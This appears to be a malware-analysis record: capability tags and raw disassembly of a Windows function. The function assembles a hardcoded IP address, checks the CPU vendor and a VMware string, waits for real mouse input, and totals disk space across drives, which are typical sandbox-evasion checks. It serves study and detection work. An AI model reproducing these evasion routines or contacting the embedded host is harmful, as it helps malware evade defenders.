Function at 0x140009afa
Capabilities:
Connect socket
Decode data using base64 via dword translation table
Encode data using base64
Encode data using xor
Get disk size
Get local ipv4 addresses
Register raw input devices

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1db8
call fcn.140085380
sub rsp, rax
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x1d20], xmm15
movdqa xmmword [rbp + 0x1d10], xmm14
movdqa xmmword [rbp + 0x1d00], xmm13
movdqa xmmword [rbp + 0x1cf0], xmm12
movdqa xmmword [rbp + 0x1ce0], xmm11
movdqa xmmword [rbp + 0x1cd0], xmm10
movdqa xmmword [rbp + 0x1cc0], xmm9
movdqa xmmword [rbp + 0x1cb0], xmm8
movdqa xmmword [rbp + 0x1ca0], xmm7
movdqa xmmword [rbp + 0x1c90], xmm6
and rsp, 0xffffffffffffff80
mov ecx, 0xc
xor edx, edx
call fcn.140012d18
movabs rcx, 0x312e32312e393131
mov qword [rax], rcx
mov dword [rax + 8], 0x322e3437
mov qword [rsp + 0x2d8], rax
mov qword [rsp + 0x2e0], rdx
mov qword [rsp + 0x2e8], 0xc
lea rax, str.bcti1aa74ace0be5cid
lea rcx, [rsp + 0x590]
mov qword [rcx], rax
mov qword [rcx + 8], 0x10
lea rsi, [rsp + 0x5a0]
mov qword [rsi], rcx
lea rax, [0x1400184e4]
mov qword [rsi + 8], rax
lea rax, [0x14008c4b0]
lea rcx, [rsp + 0x980]
mov qword [rcx], rax
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 1
call fcn.1400391f8
xor eax, eax
xor ecx, ecx
mov r8, rbx
cpuid
xchg rbx, r8
xor eax, eax
xor ecx, ecx
mov r8, rbx
cpuid
xchg rbx, r8
mov dword [rsi], r8d
mov dword [rsi + 4], edx
mov dword [rsi + 8], ecx
lea rbx, [rsp + 0x980]
lea rsi, [rsp + 0x5a0]
mov r8d, 0xc
mov rcx, rbx
mov rdx, rsi
call fcn.140013173
mov rdi, qword [rbx]
mov rbx, qword [rbx + 0x10]
lea r8, str.vmwarevirtualmouse_moved__n
mov r9d, 6
mov rcx, rdi
mov rdx, rbx
call fcn.14000464a
test al, al
jne 0x140009c97
lea r8, [0x14008c206]
mov r9d, 7
mov rcx, rdi
mov rdx, rbx
call fcn.14000464a
test al, al
je 0x140009cbd
cmp qword [rsp + 0x988], 0
je 0x14000b03a
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000b03a
cmp qword [rsp + 0x988], 0
je 0x140009cda
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, str.mouse_check_start_n
lea rcx, [rsp + 0x980]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x1400e3d78]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.1400391f8
call sub.kernel32.dll_GetCurrentThreadId
cmp eax, dword [0x1400ea7ac]
jne case.0x14000ecef.1
mov rax, qword [0x1400ea798]
cmp rax, 3
jne 0x14000bcdf
call sub.kernel32.dll_GetCurrentThreadId
mov r13d, eax
xor esi, esi
xor ecx, ecx
call sub.kernel32.dll_GetModuleHandleW
mov rdi, rax
call fcn.140081a5f
mov rax, qword [rax]
lea rcx, [rsp + 0x980]
mov qword [rcx], 0x50
lea rdx, [0x140081ab2]
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rdi
pxor xmm6, xmm6
movdqu xmmword [rcx + 0x30], xmm6
movdqu xmmword [rcx + 0x20], xmm6
mov qword [rcx + 0x40], rax
mov qword [rcx + 0x48], rsi
call sub.user32.dll_RegisterClassExW
call fcn.140081a5f
mov rdi, qword [rax]
xor ecx, ecx
call sub.kernel32.dll_GetModuleHandleW
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rax
movdqu xmmword [rsp + 0x40], xmm6
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
mov ecx, 0x80800a0
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call sub.user32.dll_CreateWindowExW
mov rdi, rax
mov r8d, 0x90000000
mov rcx, rax
mov edx, 0xfffffff0
call sub.user32.dll_SetWindowLongPtrW
call fcn.140036a6e
mov r14, rax
xor ecx, ecx
call fcn.140033a5b
lock inc qword [rax]
jle case.0x14000ecef.1
mov rbx, rax
mov al, byte [0x1400ea9e0]
mov ecx, 0x30
mov edx, 8
call fcn.140010eab
test rax, rax
je 0x1400107ed
mov r15, rax
mov eax, 1
mov qword [r15], rax
mov qword [r15 + 8], rax
xorps xmm0, xmm0
movups xmmword [r15 + 0x10], xmm0
mov qword [rsp + 0x980], r15
lock inc qword [r15]
jle case.0x14000ecef.1
mov al, byte [0x1400ea6a8]
test al, al
je 0x140009e77
mov byte [0x1400ea6a8], 1
xor ecx, ecx
call fcn.140036a0e
test rax, rax
je 0x140009e77
mov r12, rax
lock inc qword [rax]
jle case.0x14000ecef.1
mov byte [0x1400ea6a8], 1
mov rcx, r12
jmp 0x140009e8d
mov al, byte [0x1400ea6a8]
test al, al
je 0x140009ea7
mov byte [0x1400ea6a8], 1
xor r12d, r12d
xor ecx, ecx
call fcn.140036a0e
test rax, rax
je 0x140009eaa
lock dec qword [rax]
jne 0x140009eaa
mov rcx, rax
call fcn.140031552
jmp 0x140009eaa
xor r12d, r12d
mov rsi, qword [rsp + 0x980]
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x140009ec6
lock inc qword [rcx + 0x18]
jle 0x1400108e1
mov al, byte [0x1400ea9e0]
mov ecx, 0x28
mov edx, 8
call fcn.140010eab
test rax, rax
je 0x1400107de
mov qword [rax], rbx
mov qword [rax + 8], r15
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], rdi
mov dword [rax + 0x20], r13d
lea r8, [0x1400e3d58]
mov rcx, r14
mov rdx, rax
call fcn.140036bfd
test rax, rax
jne 0x1400107fc
mov qword [rsp + 0x980], rbx
mov qword [rsp + 0x988], rsi
mov qword [rsp + 0x990], rdx
mov rcx, rdx
call qword [sym.imp.kernel32.dll_CloseHandle]
lock dec qword [rbx]
jne 0x140009f46
mov rcx, qword [rsp + 0x980]
call fcn.1400315bf
mov rax, qword [rsp + 0x988]
lock dec qword [rax]
jne 0x140009f61
lea rcx, [rsp + 0x988]
call fcn.140035b57
xorps xmm0, xmm0
lea rbx, [rsp + 0x980]
movaps xmmword [rbx + 0x20], xmm0
movaps xmmword [rbx + 0x10], xmm0
movaps xmmword [rbx], xmm0
call fcn.14007e6f0
mov r14d, dword [rax]
call fcn.14007e6f0
mov r9d, dword [rax]
mov rcx, rbx
mov rdx, 0xffffffffffffffff
mov r8d, r14d
call sub.user32.dll_GetMessageW
call fcn.14007e6f0
mov ecx, dword [rbx + 8]
cmp ecx, dword [rax]
jne case.0x14000ecef.1
mov dword [rsp + 0xd0], r13d
mov esi, dword [rsp + 0x998]
call fcn.14003728a
mov r14, rax
mov r15d, edx
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x100], 0
jne 0x140009fe6
xor ecx, ecx
call fcn.14003f43e
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r12, qword [rax + 0x108]
mov r13, qword [rax + 0x110]
lea rcx, [r12 + 1]
mov qword [rax + 0x108], rcx
mov al, byte [0x1400ea9e0]
mov ecx, 0xb8
mov edx, 8
call fcn.140010eab
test rax, rax
je 0x140010826
mov rbx, rax
mov qword [rax + 8], 1
mov dword [rax + 0x18], 0x3b9aca00
mov qword [rax + 0x20], r14
mov dword [rax + 0x28], r15d
xor eax, eax
mov qword [rbx + 0x30], rax
lea rcx, [0x1400e3d80]
mov qword [rbx + 0x40], rcx
movdqu xmmword [rbx + 0x48], xmm6
mov qword [rbx + 0x58], rax
mov qword [rbx + 0x60], r12
mov qword [rbx + 0x68], r13
mov qword [rbx + 0x70], rax
mov qword [rbx + 0x80], rdi
mov qword [rbx + 0x88], rax
mov qword [rbx + 0x90], 8
movdqu xmmword [rbx + 0x98], xmm6
mov qword [rbx + 0xa8], rax
mov dword [rbx + 0xb0], esi
mov byte [rbx + 0xb4], 0
mov qword [rbx], 2
movdqa xmmword [rsp + 0x980], xmm6
movdqa xmmword [rsp + 0xa00], xmm6
mov al, byte [0x1400ea9e0]
mov ecx, 0x200
mov edx, 0x80
call fcn.140010eab
test rax, rax
je 0x140010835
mov r14, rax
lea rdx, [rsp + 0x980]
mov r8d, pe_nt_image_headers64
mov rcx, rax
call fcn.140085b90
mov qword [r14 + 0x100], 0
xor eax, eax
mov byte [r14 + 0x108], al
mov ecx, 8
mov qword [r14 + 0x110], rcx
movdqu xmmword [r14 + 0x118], xmm6
mov qword [r14 + 0x128], rcx
movdqa xmmword [r14 + 0x130], xmm6
mov byte [r14 + 0x140], 1
mov esi, 1
mov qword [r14 + 0x180], rsi
mov qword [r14 + 0x188], rsi
mov byte [r14 + 0x190], al
mov al, byte [0x1400ea9e0]
mov ecx, 0x18
mov edx, 8
call fcn.140010eab
test rax, rax
mov r15d, dword [rsp + 0xd0]
je 0x140010844
mov qword [rax], rsi
mov qword [rax + 8], r14
mov qword [rax + 0x10], rbx
mov rcx, rdi
mov edx, 0xffffffeb
mov r8, rax
call sub.user32.dll_SetWindowLongPtrW
movabs rax, 0x210000020001
lea rcx, [rsp + 0x980]
mov qword [rcx], rax
mov qword [rcx + 8], rdi
movabs rax, 0x210000060001
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rdi
mov edx, 2
mov r8d, 0x10
call sub.user32.dll_RegisterRawInputDevices
lea rax, [rsp + 0x1950]
mov qword [rax - 0x10], rsi
mov qword [rax - 8], r14
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov dword [rax + 0x10], r15d
mov r13, rax
xor esi, esi
mov ecx, 0xc
xor edx, edx
call fcn.140012d18
mov r14, rax
mov qword [rsp + 0xd0], rdx
movabs rax, 0x69772074696e6977
mov qword [r14], rax
mov dword [r14 + 8], 0x776f646e
lea rcx, [rsp + 0x5a0]
lea rdi, [rsp + 0x980]
mov r8d, 0xf0
mov rdx, rdi
call fcn.140085b90
lea rbx, [rsp + 0xde0]
mov eax, dword [rbx + 0x10]
mov dword [rsp + 0x12f0], eax
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x12e0], xmm0
lea rcx, [rsp + 0x1580]
mov eax, dword [rcx + 0x10]
mov dword [rsp + 0x11d0], eax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x11c0], xmm0
mov eax, dword [rsp + 0x380]
mov dword [rsp + 0x460], eax
movups xmm0, xmmword [rsp + 0x370]
movaps xmmword [rsp + 0x450], xmm0
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x1410], eax
movups xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x1400], xmm0
lea rax, [r14 + 0xc]
mov qword [rdi], r14
mov qword [rdi + 8], rax
mov word [rdi + 0x10], si
mov r15d, 1
mov dword [rdi + 0x18], r15d
lea rdi, [rsp + 0x980]
mov rdx, rdi
call fcn.14003086a
lea rax, str.Window_Classinvalid_byteinvalid_lengthinvalid_last_symbolinvalid_utf_8
mov qword [rdi], rax
lea rax, [0x14008bd6c]
mov qword [rdi + 8], rax
mov word [rdi + 0x10], si
mov dword [rdi + 0x18], r15d
lea r12, [rsp + 0x980]
mov rcx, rbx
mov rdx, r12
call fcn.14003086a
xor ecx, ecx
call sub.kernel32.dll_GetModuleHandleW
mov rdi, qword [rbx]
movabs rcx, 0x2300000050
mov qword [r12], rcx
lea rcx, [0x140005039]
mov qword [r12 + 8], rcx
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], rax
movdqu xmmword [r12 + 0x20], xmm6
movdqu xmmword [r12 + 0x30], xmm6
mov qword [r12 + 0x40], rdi
mov qword [r12 + 0x48], rsi
lea r12, [rsp + 0x980]
mov rcx, r12
call sub.user32.dll_RegisterClassExW
mov rax, qword [rbx + 8]
mov qword [rsp + 0xd8], rax
mov qword [r12 + 0x1b0], r13
mov qword [r12 + 0x30], 2
lea r13, [rsp + 0x9b8]
mov r8d, 0xf0
mov rcx, r13
lea rdx, [rsp + 0x5a0]
call fcn.140085b90
mov ecx, 2
mov dword [r13 + 0xf0], ecx
movaps xmm0, xmmword [rsp + 0x12e0]
movups xmmword [r13 + 0xf4], xmm0
mov eax, dword [rsp + 0x12f0]
mov dword [r13 + 0x104], eax
mov dword [r13 + 0x108], ecx
movaps xmm0, xmmword [rsp + 0x11c0]
movups xmmword [r13 + 0x10c], xmm0
mov eax, dword [rsp + 0x11d0]
mov dword [r13 + 0x11c], eax
mov dword [r13 + 0x120], ecx
movaps xmm0, xmmword [rsp + 0x450]
movups xmmword [r13 + 0x124], xmm0
mov eax, dword [rsp + 0x460]
mov dword [r13 + 0x134], eax
mov dword [r13 + 0x138], ecx
movaps xmm0, xmmword [rsp + 0x1400]
movups xmmword [r13 + 0x13c], xmm0
mov eax, dword [rsp + 0x1410]
mov dword [r13 + 0x14c], eax
mov qword [r13 + 0x150], r14
mov rax, qword [rsp + 0xd0]
mov qword [r13 + 0x158], rax
mov qword [r13 + 0x160], 0xc
mov qword [r13 + 0x168], rsi
mov dword [r13 + 0x170], r15d
mov word [r13 + 0x174], 1
movdqa xmmword [r13 - 0x38], xmm6
movdqa xmmword [r13 - 0x28], xmm6
movdqu xmmword [r13 - 0x1f], xmm6
mov word [r13 - 0xf], 0x201
mov eax, dword [rbx]
mov dword [r13 - 0xd], eax
mov al, byte [rbx + 4]
mov byte [r13 - 9], al
mov dword [r13 + 0x1a0], 0xb
mov qword [r13 + 0x180], rsi
mov ecx, 0xb
call fcn.140084833
mov r14d, eax
mov r15d, edx
lea rax, [rsp + 0x1580]
mov rbx, qword [rax]
xor ecx, ecx
call sub.kernel32.dll_GetModuleHandleW
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], rax
movdqu xmmword [rsp + 0x40], xmm6
mov eax, 0x80000000
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov ecx, r15d
mov rdx, rdi
mov r8, rbx
mov r9d, r14d
call sub.user32.dll_CreateWindowExW
lea rcx, [rsp + 0x1950]
mov rcx, qword [rcx]
cmp qword [rcx + 0x70], rsi
mov qword [rcx + 0x70], rsi
jne 0x140010731
lea r14, [rsp + 0x9b0]
test rax, rax
je 0x140010853
mov r15, qword [rsp + 0xb38]
test r15, r15
je case.0x14000ecef.1
mov rbx, qword [rsp + 0xb40]
mov rsi, qword [rsp + 0xb48]
mov r12d, dword [rsp + 0xb50]
mov r13d, dword [rsp + 0xb54]
mov rcx, r14
call fcn.140002d4f
mov rax, qword [rsp + 0x9a0]
test rax, rax
je 0x14000a57c
lock dec qword [rax]
jne 0x14000a57c
mov rcx, qword [rsp + 0x9a0]
call fcn.1400818b9
cmp qword [rsp + 0xd8], 0
je 0x14000a599
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1588], 0
je 0x14000a5bb
mov r8, qword [rsp + 0x1580]
mov rcx, qword [0x1400ea708]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xor edi, edi
mov rcx, rbx
xor edx, edx
xor r8d, r8d
mov r9d, 2
call sub.user32.dll_RedrawWindow
mov qword [rsp + 0x1580], r15
mov qword [rsp + 0x1588], rbx
mov qword [rsp + 0x1590], rsi
mov dword [rsp + 0x1598], r12d
mov dword [rsp + 0x159c], r13d
mov qword [rsp + 0xde0], 0x3c
mov dword [rsp + 0xde8], 0
call fcn.14003728a
mov qword [rsp + 0x5a0], rax
mov dword [rsp + 0x5a8], edx
mov byte [rsp + 0x11c0], dil
mov byte [rsp + 0x12e0], dil
mov rsi, qword [rsp + 0x1950]
mov al, byte [0x1400ea9e0]
mov ecx, 0x28
mov edx, 8
call fcn.140010eab
test rax, rax
je 0x1400107de
lea rcx, [rsp + 0x12e0]
mov qword [rax], rcx
lea rcx, [rsp + 0x5a0]
mov qword [rax + 8], rcx
lea rcx, [rsp + 0xde0]
mov qword [rax + 0x10], rcx
lea rcx, [rsp + 0x11c0]
mov qword [rax + 0x18], rcx
lea rcx, [rsp + 0x1950]
mov qword [rax + 0x20], rcx
cmp qword [rsi + 0x30], 0
mov rdx, qword [rsi + 0x38]
mov qword [rsi + 0x30], rax
lea rax, [0x14008bd08]
mov qword [rsi + 0x38], rax
jne case.0x14000ecef.1
xor ecx, ecx
call fcn.140002683
xorps xmm0, xmm0
lea rsi, [rsp + 0x980]
movaps xmmword [rsi + 0x20], xmm0
movaps xmmword [rsi + 0x10], xmm0
movaps xmmword [rsi], xmm0
mov rcx, qword [rsp + 0x1950]
add rcx, 0x10
mov dl, 2
call fcn.14007ecbc
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.user32.dll_GetMessageW
test eax, eax
je 0x14000a735
mov rcx, rsi
call sub.user32.dll_TranslateMessage
mov rcx, rsi
call sub.user32.dll_DispatchMessageW
mov rcx, qword [rsp + 0x1950]
cmp qword [rcx + 0x70], 0
mov qword [rcx + 0x70], 0
jne 0x140010728
cmp dword [rcx + 0x18], 0x3b9aca03
jne 0x14000a6e2
cmp byte [rcx + 0xb4], 1
jne 0x14000a6e2
jmp 0x14000a73d
mov rcx, qword [rsp + 0x1950]
add rcx, 0x10
mov dl, 4
call fcn.14007ecbc
mov rcx, qword [rsp + 0x1950]
add rcx, 0x10
call fcn.140009075
mov bl, byte [rsp + 0x11c0]
lea rsi, [r15 + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r15 + 0x10], cl
jne 0x14000bd0c
mov rdi, qword [r15 + 0x38]
xor ecx, ecx
mov al, 1
lock cmpxchg byte [r15 + 0x10], cl
jne 0x14000bd19
test rdi, rdi
jne 0x14000a95b
mov r14, qword [rsp + 0x1580]
mov rdi, qword [rsp + 0x1588]
lock inc qword [r14]
jle case.0x14000ecef.1
mov qword [rsp + 0x12e0], r14
lea rsi, [r14 + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r14 + 0x10], cl
jne 0x14000bd32
mov rax, qword [r14 + 0x38]
cmp rax, 2
jne 0x14000a803
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi], cl
jne 0x14000bd3f
mov rax, qword [rsp + 0x12e0]
lock dec qword [rax]
jne 0x14000a95b
lea rcx, [rsp + 0x12e0]
call fcn.1400818f6
jmp 0x14000a95b
mov qword [rsp + 0xd0], rdi
test rax, rax
je 0x14000a822
mov r12d, dword [r14 + 0x40]
mov r13, qword [r14 + 0x48]
mov r15d, 1
xor edi, edi
jmp 0x14000a86c
mov r12d, dword [r14 + 0x40]
mov edi, dword [r14 + 0x44]
movzx eax, word [r14 + 0x12c]
mov word [rsp + 0xe0], ax
movzx eax, word [r14 + 0x12e]
mov word [rsp + 0xd8], ax
mov r13, qword [r14 + 0x48]
lea rdx, [r14 + 0x50]
lea rcx, [rsp + 0x980]
mov r8d, 0xdc
call fcn.140085b90
shl rdi, 0x20
xor r15d, r15d
mov r12d, r12d
or r12, rdi
lea rcx, [rsp + 0x5a0]
lea rdx, [rsp + 0x980]
mov r8d, 0xdc
call fcn.140085b90
mov qword [r14 + 0x38], 2
xor ecx, ecx
mov al, 1
lock cmpxchg byte [r14 + 0x10], cl
jne 0x14000bd4c
lea rsi, [rsp + 0x998]
mov qword [rsi - 0x18], r15
mov qword [rsi - 0x10], r12
mov qword [rsi - 8], r13
lea rdx, [rsp + 0x5a0]
mov r8d, 0xdc
mov rcx, rsi
call fcn.140085b90
movzx eax, word [rsp + 0xe0]
mov word [rsi + 0xdc], ax
movzx eax, word [rsp + 0xd8]
mov word [rsi + 0xde], ax
mov qword [rsi + 0xe0], 2
mov qword [rsi + 0xe8], 0
lea rsi, [rsp + 0xa90]
lea rdx, [rsp + 0xde0]
mov r8d, 0xdc
mov rcx, rsi
call fcn.140085b90
mov rax, qword [rsp + 0x12e0]
mov qword [rsi + 0xe0], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsi + 0xe8], rax
mov rcx, qword [rsp + 0x1590]
mov edx, dword [rsp + 0x1598]
lea r8, [rsp + 0x980]
call fcn.140083e2f
lea rcx, [rsp + 0x1580]
call fcn.1400043b2
mov rcx, qword [rsp + 0x1958]
call sub.user32.dll_DestroyWindow
mov rax, qword [rsp + 0x1940]
test rax, rax
je 0x14000a9dd
cmp eax, 1
jne 0x14000aa75
mov rdi, qword [rsp + 0x1948]
lock dec qword [rdi + 0x180]
jne 0x14000aabc
lock bts qword [rdi + 0x80], 0
jb 0x14000a9b9
lea rcx, [rdi + 0x100]
call fcn.1400022bc
mov al, 1
xchg byte [rdi + 0x190], al
test al, al
je 0x14000aabc
mov rcx, rdi
call fcn.1400814bc
lea rcx, [rdi + 0x110]
jmp 0x14000aa6a
mov rdi, qword [rsp + 0x1948]
lock dec qword [rdi + 0x200]
jne 0x14000aabc
mov rax, qword [rdi + 0x80]
mov rcx, qword [rdi + 0x110]
mov rdx, rax
or rdx, rcx
lock cmpxchg qword [rdi + 0x80], rdx
jne 0x14000aa01
test qword [rdi + 0x110], rax
jne 0x14000aa27
lea rcx, [rdi + 0x160]
call fcn.1400022bc
mov al, 1
xchg byte [rdi + 0x210], al
test al, al
je 0x14000aabc
cmp qword [rdi + 0x1b0], 0
je 0x14000aa57
mov r8, qword [rdi + 0x1a8]
mov rcx, qword [0x1400ea708]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rdi + 0x128]
call fcn.140002ce6
lea rcx, [rdi + 0x170]
call fcn.140002ce6
mov rdi, qword [rdi - 8]
jmp 0x14000aaaa
mov rdi, qword [rsp + 0x1948]
lock dec qword [rdi]
jne 0x14000aabc
lea rcx, [rdi + 0x10]
call fcn.140081313
mov al, 1
xchg byte [rdi + 0x88], al
test al, al
je 0x14000aabc
lea rcx, [rdi + 0x20]
call fcn.140002ce6
lea rcx, [rdi + 0x50]
call fcn.140002ce6
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x1950]
call fcn.14008196c
test bl, bl
je 0x14000ab03
lea rax, str.mouse_timeout__n
lea rcx, [rsp + 0x980]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x1400e3d78]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.1400391f8
jmp 0x14000b03a
lea rax, [0x14008c220]
lea rcx, [rsp + 0x980]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x1400e3d78]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.1400391f8
lea rsi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ:_
lea rdi, [rsp + 0x5a0]
xor r15d, r15d
movzx eax, byte [rsi]
test al, al
js 0x14000ab52
inc rsi
jmp 0x14000abb4
mov ecx, eax
and ecx, 0x1f
movzx r8d, byte [rsi + 1]
and r8d, 0x3f
cmp al, 0xdf
jbe 0x14000ab9b
movzx edx, byte [rsi + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp al, 0xf0
jb 0x14000aba9
movzx eax, byte [rsi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x14000af76
add rsi, 4
jmp 0x14000abb4
add rsi, 2
shl ecx, 6
or ecx, r8d
mov eax, ecx
jmp 0x14000abb4
add rsi, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
mov dword [rsp + 0x1580], eax
lea rax, [rsp + 0x1580]
mov qword [rsp + 0xde0], rax
lea rax, [0x14001873d]
mov qword [rsp + 0xde8], rax
lea rax, [0x14008c1e0]
mov qword [rsp + 0x980], rax
mov qword [rsp + 0x988], 2
mov qword [rsp + 0x9a0], 0
lea rax, [rsp + 0xde0]
mov qword [rsp + 0x990], rax
mov qword [rsp + 0x998], 1
mov rcx, rdi
lea rdx, [rsp + 0x980]
call fcn.1400130d7
mov r8, qword [rsp + 0x5a0]
mov rax, qword [rsp + 0x5b0]
lea r9, [r8 + rax]
test rax, rax
mov qword [rsp + 0xd0], r9
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xf0], r8
je 0x14000ac74
movzx ebx, byte [r8]
test bl, bl
js 0x14000ac84
lea rdi, [r8 + 1]
jmp 0x14000ace7
xor esi, esi
xor r12d, r12d
xor edi, edi
xor ebx, ebx
xor ecx, ecx
jmp 0x14000ad0f
mov eax, ebx
and eax, 0x1f
movzx edx, byte [r8 + 1]
and edx, 0x3f
cmp bl, 0xdf
jbe 0x14000acc3
movzx ecx, byte [r8 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp bl, 0xf0
jb 0x14000acd0
lea rdi, [r8 + 4]
movzx ebx, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebx, 0x3f
or ebx, ecx
or ebx, eax
jmp 0x14000acdb
lea rdi, [r8 + 2]
shl eax, 6
or eax, edx
mov ebx, eax
jmp 0x14000ace7
lea rdi, [r8 + 3]
shl eax, 0xc
or ecx, eax
mov ebx, ecx
cmp ebx, 0xffff
ja 0x14000af4d
mov eax, 1
xor esi, esi
mov rcx, r9
sub rcx, rdi
add rcx, 3
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
shr rcx, 2
add rcx, rax
mov r12w, 1
mov rax, qword [rsp + 0x5a8]
mov qword [rsp + 0x120], rax
cmp rcx, 4
mov eax, 3
cmovb rcx, rax
inc rcx
call fcn.140030b9a
mov r14, rax
mov word [rax], bx
mov qword [rsp + 0x980], rax
mov qword [rsp + 0x988], rdx
mov r15d, 1
mov r9, qword [rsp + 0xd0]
mov qword [rsp + 0x990], r15
test rdi, rdi
je 0x14000ad87
test si, si
je 0x14000ad73
xor eax, eax
mov ebx, esi
jmp 0x14000ae15
cmp rdi, r9
je 0x14000ad87
movzx ebx, byte [rdi]
test bl, bl
js 0x14000adb7
inc rdi
jmp 0x14000ae13
mov r13, qword [rsp + 0x988]
cmp r12w, 1
jne 0x14000aea1
xor r12d, r12d
mov edi, 0
mov ebx, 0
mov r8d, 0
cmp r15, r13
jne 0x14000ae21
jmp 0x14000ae58
mov eax, ebx
and eax, 0x1f
movzx edx, byte [rdi + 1]
and edx, 0x3f
cmp bl, 0xdf
jbe 0x14000adf3
movzx ecx, byte [rdi + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp bl, 0xf0
jb 0x14000ae00
movzx ebx, byte [rdi + 3]
add rdi, 4
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebx, 0x3f
or ebx, ecx
or ebx, eax
jmp 0x14000ae0b
add rdi, 2
shl eax, 6
or eax, edx
mov ebx, eax
jmp 0x14000ae13
add rdi, 3
shl eax, 0xc
or ecx, eax
mov ebx, ecx
cmp ebx, 0xffff
ja 0x14000ae7d
xor eax, eax
cmp r15, qword [rsp + 0x988]
je 0x14000ae2e
mov esi, eax
mov word [r14 + r15*2], bx
inc r15
jmp 0x14000ad58
mov rcx, r9
sub rcx, rdi
add rcx, 3
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
shr rcx, 2
movzx r8d, r12w
cmp ax, 1
sbb r8, 0xffffffffffffffff
add r8, rcx
mov esi, eax
inc r8
lea rcx, [rsp + 0x980]
mov rdx, r15
call fcn.140087766
mov r9, qword [rsp + 0xd0]
mov r14, qword [rsp + 0x980]
jmp 0x14000ae21
lea ecx, [rbx + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and ebx, 0x3ff
or ebx, 0xdc00
mov eax, ebx
mov ebx, ecx
jmp 0x14000ae15
xor eax, eax
mov qword [rsp + 0xde0], rax
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x980], rax
mov rcx, r14
lea rdx, [rsp + 0xde0]
lea rdi, [rsp + 0x5a0]
mov r8, rdi
lea r9, [rsp + 0x980]
call sub.kernel32.dll_GetDiskFreeSpaceExW
mov esi, 0
test eax, eax
je 0x14000aeef
mov rsi, qword [rsp + 0x5a0]
test r13, r13
mov r15, qword [rsp + 0xe0]
je 0x14000af0e
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x120], 0
je 0x14000af30
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, qword [rsp + 0xf0]
call qword [sym.imp.kernel32.dll_HeapFree]
add r15, rsi
mov rsi, qword [rsp + 0xd8]
lea rax, [0x14008c1da]
cmp rsi, rax
jne 0x14000ab46
jmp 0x14000af76
lea ecx, [rbx + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and ebx, 0x3ff
or ebx, 0xdc00
mov eax, 2
mov esi, ebx
mov ebx, ecx
jmp 0x14000acee
movq xmm0, r15
punpckldq xmm0, xmmword [0x14008b880]
subpd xmm0, xmmword [0x14008b890]
movapd xmm1, xmm0
unpckhpd xmm1, xmm0
addsd xmm1, xmm0
mulsd xmm1, qword [0x14008b8a0]
movsd qword [rsp + 0x1940], xmm1
